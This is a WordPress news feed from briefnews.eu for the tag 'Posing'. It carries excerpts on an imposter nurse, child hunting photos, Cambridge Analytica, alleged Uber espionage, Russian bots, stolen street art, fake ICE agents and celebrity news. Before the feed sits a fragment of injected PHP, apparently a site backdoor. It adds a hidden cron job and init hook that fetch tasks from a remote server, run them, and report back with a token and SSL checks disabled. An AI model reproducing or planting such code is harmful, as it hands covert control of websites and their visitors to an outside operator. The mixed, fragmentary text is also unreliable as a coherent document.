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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Posing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 19:02:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Posing – Brief News https://briefnews.eu 32 32 This serial imposter spent decades posing as a nurse. The victims she betrayed want to know why https://briefnews.eu/this-serial-imposter-spent-decades-posing-as-a-nurse-the-victims-she-betrayed-want-to-know-why/ https://briefnews.eu/this-serial-imposter-spent-decades-posing-as-a-nurse-the-victims-she-betrayed-want-to-know-why/#respond Fri, 23 Sep 2022 19:02:46 +0000 https://briefnews.eu/this-serial-imposter-spent-decades-posing-as-a-nurse-the-victims-she-betrayed-want-to-know-why/ Brigitte Cleroux

Brigitte Cleroux’s latest fraud fell apart on Aug. 11, 2021, when a nurse at an Ottawa medical clinic decided she couldn’t take any more of her unprofessional behaviour. She has amassed at least 67 criminal convictions as an adult, while leaving a trail of troubled patients and victims behind her.

]]> https://briefnews.eu/this-serial-imposter-spent-decades-posing-as-a-nurse-the-victims-she-betrayed-want-to-know-why/feed/ 0 Hunting kids of Instagram: Outrage over children posing with their kills https://briefnews.eu/hunting-kids-of-instagram-outrage-over-children-posing-with-their-kills/ https://briefnews.eu/hunting-kids-of-instagram-outrage-over-children-posing-with-their-kills/#respond Wed, 04 Jul 2018 19:14:35 +0000 http://briefnews.eu/hunting-kids-of-instagram-outrage-over-children-posing-with-their-kills/

In the wake of the outrage over a woman posing with a slain giraffe, a number of hunting enthusiasts are posting images of children posing with their kills, sparking further furor.

Tess Thompson Talley from Kentucky inspired a deluge of anger when photos of her posing with a rare black giraffe she had just killed emerged. A number of celebrities joined the condemnation, further highlighting the images.

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Now, other, perhaps more controversial, images of young hunters and their kills are being called out, with many of the offending images appearing to have been uploaded in the last couple of days.

An image posted by hunter Kyle Virgin from Alaska shows his daughter posing with a dead grizzly bear. “I despise the thought that kids are too young to take hunting. We’ve been having people claim there’s no way a nine-year-old could have killed this bear. Keep watching, we’ve only just begun,” he wrote.

Msenge African Safaris in South Africa posted an image of a young girl named Hailey posing with “her second African trophy,” a giraffe. Her first trophy was a deer.

South African Jaco van Vuuren Safaris posted photos of their customers happily posing next to the animals they hunted. Their latest image shows a father and son sitting next to a dead lion with the words: “Congratulations on hunting this majestic animal.”

An image of a young girl named Brenna posing with her first big game kill, a moose she killed in the Rocky Mountains, was shared by Corlane Sporting Goods, which was pleased she carried out the kill with a rifle bought in their store.

Kadeja Assaad is an avid hunter from New South Wales in Australia. She recently shared a photograph of herself and her son high-fiving over a dead deer carcass.  

Images of children posing with hunted animals is not a new trend, as the #huntingkids hashtag reveals. Once child even has her own Instagram account, run by her father, which documents her hunting adventures.

The issue of children being taught to hunt divides opinion, with hunting enthusiasts often believing there is nothing wrong with teaching their children how to responsibly hunt, and others being disturbed by images of children holding weapons.

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]]> https://briefnews.eu/hunting-kids-of-instagram-outrage-over-children-posing-with-their-kills/feed/ 0 Toxic nothingburger: Cambridge Analytica exposé is dangerous political attack posing as journalism https://briefnews.eu/toxic-nothingburger-cambridge-analytica-expose-is-dangerous-political-attack-posing-as-journalism/ https://briefnews.eu/toxic-nothingburger-cambridge-analytica-expose-is-dangerous-political-attack-posing-as-journalism/#respond Tue, 20 Mar 2018 19:09:42 +0000 http://briefnews.eu/toxic-nothingburger-cambridge-analytica-expose-is-dangerous-political-attack-posing-as-journalism/ Seeing Donald Trump’s media and political critics, who for years feted “big data,” suddenly pretend it’s a crime, is hard to stomach. And the feigned outrage is being used as a weapon of establishment control over social media.

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Before being repackaged by two leading liberal-leaning outlets to produce a media firestorm that has wiped tens of billions off Facebook’s valuation and could usher in a new wave of investigations and regulation, the actual facts of Cambridge Analytica’s data collection had been known since 2015. What has changed is the language: what the Guardian called “psychological profiling” and “behavioral microtargeting” before Donald Trump was elected, in the latest reports from the same newspaper becomes “psyops,” the sinister-sounding “harvesting,” the alarming “data breach,” and most gloriously “Steve Bannon’s psychological warfare mindf**k tool.”

Behind the grand claims, the germ of the story remains – by tech standards – almost disappointingly quotidian. In 2014, the upstart data analysis company Cambridge Analytica developed a psychological quiz app that over 270,000 users of the world’s biggest social network downloaded and completed. As well as passing their own data to the UK-headquartered firm, the test-takers agreed to share limited information about their friends – age, location and likes – as in line with Facebook’s policy at the time, producing the much-cited but unverified figure of 50 million users that were profiled.

Whether and to what extent this constituted legal wrongdoing or a violation of service terms is still to be ruled on. Facebook says that users “knowingly provided their information, no systems were infiltrated, and no passwords or sensitive pieces of information were stolen or hacked” and that Cambridge Analytica merely used the data beyond its original purpose, and was told to delete it, and has suspended it from its platform. Cambridge Analytica counters that it was misled and got rid of the data as it was instructed. Facebook argues that it did not violate its users’ self-selected privacy settings when it gave away their data, though regulators may argue otherwise.

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But despite the lengths of text expended, none of this is a “gotcha” moment. Thousands of apps, including those with a wider user base, such as Tinder or Farmville, also collected the same data from Facebook through the same consent protocols, until the company changed its policy in April 2015, and similar information is still being directly gathered from users who decide to download apps today, or even simply log into a website using Facebook. Just check your own list of apps on the network and see how many firms you are letting “scrape” your personal info – all voluntarily.

It is also unclear if the data swayed any key election. In the 2016 cycle it was first employed by Ted Cruz, whose campaign barely dented frontrunner Trump’s popularity, and then by Trump himself. The work it did for the winning candidate, as described by both their CEO Alexander Nix and the New York Times piece, also seems standard-issue rather than ingenious or devious – designing who to target with fund-raising and voting appeals, research modeling, and data-driven campaigning, such as deciding where Trump and Pence should canvass. The much-vaunted psychographics – which contentiously claim to be able to understand people through their personal preferences and other indirect data – were not even used in 2016, according to Nix, as there wasn’t enough time. In fact, while he says that Cambridge Analytica played a “pivotal” role in helping to get a lackadaisical campaign moving, the company insists it did not deploy the 2014 Facebook data at all in Trump’s march to the White House.

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The more interesting part of the story – and, ironically, the real “psychological warfare mindf**k tool” – is how the concerning but dry, old and not particularly secret revelations have been pitched up into a hysteria.

The secret ingredient is persistence – growing allegations delivered in an ever more shrill tone.

The Guardian, in particular, has repeatedly tried to pin down Cambridge Analytica, particularly with its piece in May last year, headlined“The great British Brexit robbery: how our democracy was hijacked,” which earned it a defamation lawsuit from the data company. Though Cambridge Analytica has been culpable itself, happy to play up to its shadowy all-powerful puppet master image, as long as it got them notoriety and clients, and now left furiously tweeting denials when it may be too late.

Last month, the New York Times was wondering if firms like Cambridge Analytica made a difference; now it declares the “operation at the heart of Trump’s campaign was ethically nihilistic and quite possibly criminal in ways that even its harshest critics hadn’t suspected.”

“Has the rise of micro-targeting become a threat to democracy?”inquires the Guardian, adding in its claims against Facebook that “Frankenstein’s monster is not under any human’s control.”

The concern seems somewhat new-found.

Here is another article from the same newspaper, from 2012 under the headline “Obama, Facebook and the power of friendship” – which even social media fans would find a little Orwellian.

Enthusiastically, it describes as “consciously or otherwise, the individual [Obama campaign] volunteer will be injecting all the information they store publicly on their Facebook page – home location, date of birth, interests and, crucially, network of friends – directly into the central Obama database.” Sound familiar?

There are dozens of perfectly accessible articles across most mainstream media, detailing with enthusiasm, Barack Obama becoming the first Twitter president, his campaign using people’s DVR histories to determine which voters to target (doesn’t seem to be much consent there) or his “audacious adventure in persuasion” that selected potentially pliable voters, who would then be persistently called and doorstepped by campaigners. Evidently, micro-targeting wasn’t as much of a threat to democracy from him (or Hillary Clinton).

Shadows of other recent partisan campaigns lurk everywhere.

The Guardian has published an article highlighting the links between Aleksandr Kogan, the data scientist at the heart of the to-and-fro between Facebook and Cambridge Analytica, and St. Petersburg University, Vladimir Putin’s alma mater.

Adam Schiff, the Democrat House representative, has asked Christopher Wylie, the former Cambridge Analytica employee who fleshed out the weekend’s exposés with his colorful personal tales, to testify in Congress as part of the Russia meddling allegations, though there appears to be no tangible link.

First they came for Cambridge Analytica

Yet, however sexed up the news value of the story, or murky its motivations, it has broken through. Theresa May is “very concerned,” UK MPs want Mark Zuckerberg to testify, Cambridge Analytica’s offices will be searched, the US Federal Trade Commission is investigating Facebook, the EU has labeled the allegations “horrifying.” Facebook security officer Alex Stamos is already the first head to roll, leaving the company, and Nix has also offered to resign.

Of course, many will relish a blow to Facebook, a platform vocally disliked even by many of its avid users, regardless of who is delivering it. The issues of data security and privacy still remain uncharted and important for the future, and the California giant has always skirted as close to the line as the law and its users have let it. As for Cambridge Analytica, no one will shed a tear, particularly after the Channel 4 hitpiece on the company, which even if it used entrapment, made its staff look criminal or amateur.

But schadenfreude comes at a price. US social media giants have been under increasing pressure to exert greater control over the content their users see. Whether it is through claims of Russian bots, excessive exposure to RT, pro-AFD groups on Facebook, or Steve Bannon’s banner ads, the establishment, both ruling and media, senses a loss of control over the narrative and the width of the political spectrum. With a single change in its algorithm – either enforced from above to stave off further regulation, and self-inflicted as it tries to save its skin – Facebook could cut off not just a post you don’t want to click, but those you also do. And media-fueled public outrage has always been as good a pathway to censorship as any.

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  • There are a lot of explosive claims in a recently unsealed letter written by a lawyer for a former Uber intelligence manager.
  • One claim is that Uber contracted with ex-CIA operatives to bug hotels, infiltrate WhatsApp groups, and obtain sensitive information. 
  • In one example cited in the letter, these operatives were able to record executives at a competitor holding a business meeting at a hotel reacting to news that Uber had receieved billions in funding from the Saudi government. 

An explosive letter recently unsealed in the Uber-Waymo trade secrets legal battle has a lot of details that Uber probably wishes weren’t public. 

The so-called “Jacobs letter” was written by a lawyer for a former Uber intelligence manager, and it contains allegations that the company had internal teams tasked with bugging hotels, infiltrating sensitive WhatsApp groups, and obtaining trade secrets from its competitors. 

A lot of this espionage was conducted by actual CIA-trained “case officers,” who posed as legitimate businessmen and businesswomen, but collected intelligence on the side for Uber, according to the letter. Uber called these operatives “LATs.”

Uber hasn’t verified all the claims in the so-called “Jacobs letter,” a spokesperson told Business Insider on Friday.

Here’s the footnote from the letter describing Uber’s LAT operatives:

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Here’s what it says:

“LAT operatives are CIA-trained case officers fielded by Gicinto. They are capable of collecting foreign intelligence in priority locations for Uber. They are commercially covered, deeply back-stopped business persons with established reasons to travel to high priority locations important to Uber on little notice. They conduct business meetings, but collect intelligence for Uber on the side. Around early-to-mid 2016, they quickly became Uber’s stable of non-official cover operatives. These independent contractors were given the meaningless acronym “LAT” to protect discussions about this resource and poke fun at Tal Global, a former vendor who provided intelligence collection support to Uber. LATs were seen as the opposite of Tal, who Uber had discontinued work with due to their low quality work.”

Uber exec allegedly said that its CIA-trained spies were “Boy Scouts now”

The logo of the U.S. Central Intelligence Agency is shown in the lobby of the CIA headquarters in Langley, Virginia March 3, 2005. U.S. President George W. Bush visited the headquarters for briefings Thursday. REUTERS/Jason Reed JIR Thomson Reuters“Gicinto,” in the above passage, refers to Nick Gicinto, who was in charge of Uber’s “Strategic Services Group.” The group was responsible for collecting sensitive information using in-house Uber employees and outside vendors, according to the letter. 

The letter claims Gicinto said that although the LAT operatives had conducted espionage in their previous careers, they were “all Boy Scouts now.” 

These LATs show up several times in the narrative presented in the 37-page letter, which alleges that LAT operatives impersonated actual people to access closed social media groups, placed recording devices, and collected information on political figures and parties.

One claim in the letter is that an Uber LAT operative had found a “new technical capability” in a redacted foreign country that allowed it to collect mobile-phone metadata, including call logs with the time and date of various communications, likely  phone calls and texts. 

“The subsequent link-analysis of this metadata occurred on U.S. soil and revealed previously unknown, non-public relationships between Uber opposition figures, politicians, and regulators with unfavorable views on Uber and the ride-sharing industry,” according to the letter, which claims the LATs conducted “foreign espionage” against a sovereign nation. 

LAT operatives were also active in the United States, according to the letter, citing an example of an operative gaining access to a private WhatsApp chat group by impersonating a taxi driver. In one example cited in the letter, LAT operatives were able to record executives at a competitor holding a business meeting at a hotel reacting to news that Uber had receieved billions in funding from the Saudi government. 

It shouldn’t be surprising that Uber had several groups dedicated to collecting sensitive business information from competitors and regulators, but contracting with former CIA spies is an aggressive move, even for a company that regularly pushed the boundries of the law. 

Read the entire Jacobs letter below: 

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]]> https://briefnews.eu/russians-posing-as-black-activists-on-facebook-is-more-than-fake-news/feed/ 0 Russian bots posing as regular people are trying to sow discord on Twitter after Charlottesville https://briefnews.eu/russian-bots-posing-as-regular-people-are-trying-to-sow-discord-on-twitter-after-charlottesville/ https://briefnews.eu/russian-bots-posing-as-regular-people-are-trying-to-sow-discord-on-twitter-after-charlottesville/#respond Sun, 27 Aug 2017 22:20:35 +0000 http://briefnews.eu/russian-bots-posing-as-regular-people-are-trying-to-sow-discord-on-twitter-after-charlottesville/ charlottesville virginia white nationalistGetty Images/Chip Somodevilla

Although the recent events in Charlottesville happened 5,000 miles from Moscow, Russia didn’t sit this one out.

As has become almost routine after every polarizing U.S. political event in the past 12 months, online Russian propagandists quickly got involved. This time around, they took to Twitter with an army of bots to promote and share extremist right-wing tweets and disinformation.

The Alliance for Securing Democracy, a project of the German Marshall Fund that tracks efforts to undermine democratic governments, monitors a collection of 600 Twitter accounts that are known to be linked to Russian influence, including openly pro-Russian users, accounts that take part in Russian disinformation campaigns, and automated bot accounts that parrot Russian messaging.

They found these accounts busy at work in the days after Charlottesville. “PhoenixRally,” “Antifa,” and “MAGA” were among the most common hashtags used by these accounts this week. One of the central themes shared by the Russian-linked accounts after Charlottesville was an accusation, propagated by both the Russian news agency Sputnik and American far-right media personality Alex Jones, that the left-leaning philanthropist George Soros had supported the counterprotesters.

One example of a likely bot was an account under the name Angee Dixson, opened on Aug. 8, the Tuesday before the Charlottesville rally started, as reported by ProPublica. Described in her Twitter bio as a conservative Christian, Angee sent about 90 tweets out a day, in which she vigorously defended President Trump’s response to the rally and shared pictures that allegedly showed violence on the part of counterprotesters in Charlottesville. The account has now been shut down.

“BUSTED! Craigslist Ad Exposes Firm Hiring #AltLeft “Protesters” for $ 25/Hr,” read one of Dixson’s tweets. That was one of five tweets she sent in one minute, according to the archive link of her account. All those tweets contained links that had been shortened using a URL shortener, which usually requires going to a separate website to enter the URL and generate a new link, and that takes time. The tremendous speed with which Dixson was able to send her tweets indicates that Angee Dixson was most likely an automated bot, not a real human. Even the account’s profile picture was stolen: ProPublica linked it to a photo of a model that at one point was rumored to have dated Leonardo DiCaprio. Though it’s hard to directly link any one bot to its source, “Angee’s” tweets were reported to use similar language from Russian government–backed outlets Sputnik and RT.

The same Russian social media machine that blanketed Twitter with pro-Trump posts during the 2016 presidential election were reportedly at work after Charlottesville, too. Bots were weaponized during the presidential debates to give a false impression of a groundswell of grass-roots support for Trump. Bots sharing pro-Trump–related content outnumbered pro-Clinton bots by 7 to 1 during the third debate between the Hilary Clinton and Donald Trump, according to research from Oxford University’s Project on Computational Propaganda. In the timespan between the first and second debates, more than one-third of the pro-Trump tweets were found to came from automated bot accounts.

Bots also showed up in the days before this year’s French election, when the campaign of the winning candidate Emmanuel Macron reported it was the victim of a massive email hack. The documents spread like wildfire across Twitter, but it was soon reported that an overwhelming number of the tweets spreading news of the hack were from bots. About 40 percent of the tweets containing #MacronGate were found to be actually coming from only 5 percent of accounts using the hashtag.

That tremendous amount of activity from such few accounts is usually a clear sign that humans aren’t the ones doing the tweeting. One account reportedly tweeted 1,668 times in 24 hours, or more than one tweet per minute with no sleep. Unless that account was manned by three people who don’t take bathroom breaks, that was probably a bot. Though, again, it’s incredibly difficult to tell how much of this bot traffic can be linked directly to Russia, but there is evidence that it was Russia was behind the Macron campaign hack. In April, the cybersecurity firm Trend Micro found that the same Russian government–linked hacking group behind the infiltration of the Democratic National Committee also targeted the Macron campaign with email phishing attempts and malware.

Bots are becoming a staple of social media as Western countries find themselves embroiled in polarized political debates. Trump’s Twitter followers, after all, are about 59 percent bots or fake accounts, according to TwitterAudit, a website that measures the authenticity of Twitter followers. All of which goes to show that retweets, likes, trending hashtags, and followers shouldn’t be taken as a strong indication of public opinion—and moreover, that virality is hardly a demonstration of genuineness.

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]]> https://briefnews.eu/russian-bots-posing-as-regular-people-are-trying-to-sow-discord-on-twitter-after-charlottesville/feed/ 0 Thieves posing as city workers steal Parisian ‘Invader’ street art in plain sight (PHOTOS) https://briefnews.eu/thieves-posing-as-city-workers-steal-parisian-invader-street-art-in-plain-sight-photos/ https://briefnews.eu/thieves-posing-as-city-workers-steal-parisian-invader-street-art-in-plain-sight-photos/#respond Sat, 05 Aug 2017 18:04:44 +0000 http://briefnews.eu/thieves-posing-as-city-workers-steal-parisian-invader-street-art-in-plain-sight-photos/

Thieves posing as city workers managed to steal some of Paris’ most beloved street art by French urban artist ‘Invader,’ who painted the city in Space Invader themed pieces.

A Paris City Council spokeswoman said the city only became aware of the theft after receiving several complaints from residents who assumed it was a governmental organization behind the removal.

However, the council said on Friday it “quickly realised that those were not our agents, nor our vehicles or our jackets,” AFP reports.

A spokeswoman for the council also said because the thieves had posed as Paris city workers, it had “decided to file a complaint for abuse of functions.”

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The thieves tore more than dozen pieces off various walls across the city over several days.

The pixelated mosaics were inspired by the 1978 video game Space Invaders, and Parisians have already taken to Twitter to lambaste the thieves that stole them.

The artist behind the works of art, whose real name and identity, much like Banksy, is not known, previously said it would be impossible to steal the work in its original form.

“Given the type of tiles I use, to steal the work is impossible. These individuals by removing the mosaics destroy the piece and then have to buy ceramics to repair or recreate the work,” ‘Invader’ wrote on his website.

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“I can only hope that soon enough nobody will be tempted to buy or steal pieces in the streets and therefore that this nonsense and painful destruction will stop,” he added.

Over 3,500 pieces of Space Invader artwork can reportedly be found on the streets of some 72 cities around the world including Amsterdam, Berlin, Miami, New York, Tokyo, and Hong Kong.

In 2000, Invader began monetizing his passion by showcasing his work in galleries. So far, his exhibitions have appeared in galleries in Paris, Rotterdam, and most recently at the Museum of Contemporary Art (MOCA) in Los Angeles.

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]]> https://briefnews.eu/thieves-posing-as-city-workers-steal-parisian-invader-street-art-in-plain-sight-photos/feed/ 0 iZombie Video: Blaine Offers Peyton 'Comfort' Before Posing a Big Question https://briefnews.eu/izombie-video-blaine-offers-peyton-comfort-before-posing-a-big-question/ https://briefnews.eu/izombie-video-blaine-offers-peyton-comfort-before-posing-a-big-question/#respond Tue, 04 Apr 2017 21:12:25 +0000 http://briefnews.eu/izombie-video-blaine-offers-peyton-comfort-before-posing-a-big-question/

iZombie amnesiac Blaine has a very important and loaded question for Peyton in this exclusive video from tonight’s Season 3 premiere (The CW, 9/8c): “Were we a couple?”

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While the answer is technically “no” — it was just a hook-up… with feelings? — the way people have been talking about the pair’s relationship has left Blaine very confused. And the above sweet moment isn’t going to help uncomplicate things between the former baddie and Peyton.

After apologizing for endangering her life, Blaine tells Peyton, “If you’re ever feeling jumpy or whatever, call me. I’ll come over.”

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“If you had your memory, you’d understand how ironic your offer is — calling Blaine DeBeers for comfort and protection,” she replies.

Speaking of memories, newly promoted series regular Aly Michalka believes Peyton has her doubts about Blaine’s amnesia, but “she knows how much he’s sacrificed to help her,” the actress says. “I think she looks [past her uncertainty] because of that. Liv is maybe a little more in doubt, Ravi is a little more in doubt, but Peyton is a little more confident that he is a good guy, has changed his ways, and he’s not going to go back to what he used to do.”

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]]> https://briefnews.eu/izombie-video-blaine-offers-peyton-comfort-before-posing-a-big-question/feed/ 0 Scammers in New York are posing as ICE agents to rip off people afraid of deportation https://briefnews.eu/scammers-in-new-york-are-posing-as-ice-agents-to-rip-off-people-afraid-of-deportation/ https://briefnews.eu/scammers-in-new-york-are-posing-as-ice-agents-to-rip-off-people-afraid-of-deportation/#respond Tue, 21 Feb 2017 08:13:03 +0000 http://briefnews.eu/scammers-in-new-york-are-posing-as-ice-agents-to-rip-off-people-afraid-of-deportation/ ICE immigration sweepCourtesy Bryan Cox/U.S. Immigration and Customs Enforcement via REUTERS

Con artists and scammers have apparently seized on the recent, high-profile deportations of immigrants in the US in order to rip off people afraid of being detained and removed from the country.

New York Attorney General Eric Schneiderman issued an urgent fraud alert on Thursday, warning immigrant communities in the state about reports of fraudsters impersonating Immigration and Customs Enforcement agents to intimidate immigrants and demand money.

“It is unconscionable for scam artists to prey on heightened fear in our immigrant communities by pretending to be ICE officers and demanding that families pay up in order to avoid deportation,” Schneiderman said in a statement.

“I urge communities to protect themselves by learning about these potential scams – and contacting my office if they suspect fraud. We will continue to use all of the tools at our disposal and bring to justice those who commit fraud against our immigrant communities.”

A statement from the New York attorney general’s office said it had received reports of calls and in-person inquiries made by people claiming to be immigration officials.

“For example, one immigrant living in Queens was approached by four men dressed as ICE agents,” the statement said. “The purported ICE ‘agents’ told the man that he was going to be detained unless he gave them all of his money.”

The attorney general’s office has provided several ways to report potential fraud — Attorney General’s Immigration Services Fraud Unit Hotline at (866) 390-2992 or email Civil.Rights@ag.NY.gov — and states that it will never inquire about the immigration status of those who contact the office.

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Immigration officials across the US have stepped up their enforcement in recent weeks. These actions have attracted criticism and, in some areas, public protests.

Last week, ICE agents stopped and detained several Latino men leaving a church shelter in northern Virginia. This week, ICE agents detained a 23-year-old Mexican man in Seattle who was in the country under the Deferred Action for Childhood Arrivals policy, known as DACA.

In the latter case, ICE has claimed the man had gang affiliations, but has declined to say how it knows that. The man’s representatives have vehemently denied alleged gang involvement.

In Denver, a Mexican mother of four has taken sanctuary in a church to avoid deportation after ICE officials denied her a “stay of removal.”

In light of this increased enforcement, the New York attorney general’s efforts to get people in targeted communities to come forward about fraud may get little response. Despite promises to not reveal the immigration status of people reporting crimes, undocumented people and others in the immigrant community are likely to be wary of interacting with authorities.

In a case that may only deepen that suspicion, an undocumented woman in El Paso was detained by ICE agents after she obtained a protective order alleging that she was the victim of domestic abuse. ICE agents may have detained the woman on a tip from her alleged abuser, who was already in custody.

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]]> https://briefnews.eu/scammers-in-new-york-are-posing-as-ice-agents-to-rip-off-people-afraid-of-deportation/feed/ 0 Bella Thorne On Posing Nude, Growing Out Her Body Hair, And Joining The Women’s March https://briefnews.eu/bella-thorne-on-posing-nude-growing-out-her-body-hair-and-joining-the-womens-march/ https://briefnews.eu/bella-thorne-on-posing-nude-growing-out-her-body-hair-and-joining-the-womens-march/#respond Wed, 25 Jan 2017 01:39:10 +0000 http://briefnews.eu/bella-thorne-on-posing-nude-growing-out-her-body-hair-and-joining-the-womens-march/ bella thorne's nude photos, body hair, women's march

Bella Thorne has been baring all on social media. It’ll only be time until we see her new nipple piercings. The former Disney star took to her infamous Twitter account to announce to her 6.5 million fans that she recently got her nipples pierced.

Thorne, 19, said she was “inspired” by Kendall Jenner, 21. On Monday, Jan. 23, she tweeted that she was going to copy one of the model’s accessories by adorning her own nipples.

“So like I’m getting a nip piercing …#pullingAKendall #inspired,” she tweeted along with the angel emoji.

Bella has plenty of tattoos all over her body, including a small heart on her palm and on her collarbone, tiny whiskers on her finger, and the words “Wild Kitty” tattooed on her calves, reports Hollywood Life. And, according to a report via Glamour, she got the number “93” tattooed on her forearm. Teen Vogue pointed out that Bella’s older sister Dani’s birthday Jan. 19, 1993, so it could mean that she’s showing some appreciation for her older sister.

93 @bellathorne #jonboytattoo

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Thorne thanked celebrity tattoo artist Jon Boy for her new tattoo. Tiny tattoos are his specialty when it comes to tattooing young Hollywood stars such as Kendall Jenner, Hailey Baldwin, and Bella Hadid. Not only is Thorne tatted up again, but she’s been seen hanging out naked again. She took to Twitter on Monday night to share a photo of herself appearing naked except for her jewelry and socks with boots. She also looked like she was a bit out of it in the picture that was taken and shared to her social media accounts.

Last year, the Famous In Love star opened up to Complex about Kim Kardashian’s nude selfie scandal and why she supported the reality star.

“Girl’s got a good body. You know she be working for it. Let her show it off. I just was like, there’s like a two-sided thing about feminism. I’m a feminist, but yet—some feminists, like, hate men. And they also will trash a woman, real quick, which to me, is not feminism at all. If you’re trashing a woman, then you’re literally doing what every man would be doing.”

That hasn’t been the first time that Bella has posed nude, reports Hollywood Life. The Shake It Up alum has been posting her share of nearly-nude photos on Instagram and Snapchat. Bella’s Instagram account has become NSFW since most of them feature her wearing next to nothing. She feels empowered and is comfortable enough to show off her body. Bella even attended the Women’s March in Los Angeles on Jan. 21 and wrote a powerful essay on Refinery29.

Out here fighting for OUR rights #pussypower #womensmarchonwashington ????????????

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“I often wonder where all this hate and misogyny even started from. How did we let it get this bad? And why aren’t we stopping it?” she pondered. “So many people go online, ready to spread negativity as opposed to compassion for others. I say f*** the haters. Let’s be us!! Whatever we wanna be in this world, we can be.”

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Bella Thorne has been feeling comfortable in her skin lately. [Image by Frazer Harrison/Getty Images]

She also feels comfortable to grow out her body hair, if she wants to. Thorne took to Twitter to remark that she’s considering growing out her armpit hair, reports JustJaredJr.com.

It all started when a fan said that Thorne looks like the type of woman who “would grow out her armpit hair & then dye it to match her blue hair” a la Miley Cyrus.

Bella tweeted back, “I WAS JUST TELLING DANI I SHOULD DO THAT!! NO WAY.”

In the past, she shut down an online troll who criticized her for not shaving her legs. She attended the 2016 American Music Awards back in November when she previously debuted her lime green tips and showed off her abs in a black tuxedo and matching bra. Thorne also didn’t decide to shave her legs for that evening.

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Bella Thorne didn’t bother to shave her legs for the 2016 American Music Awards. [Image by Frederick M. Brown/Getty Images]

The troll aired his grievances over her body hair on Twitter with the rest of his followers, reports Glamour.

“@bellathorne is hot beautiful sexy perf but wtf SHAVE UR LEGS!!” he wrote.

Thorne hit back with the response, “HAHAHHA NEVER.”

Bella Thorne is definitely going to do what she wants.

[Featured image by Frazer Harrison/Getty Images]

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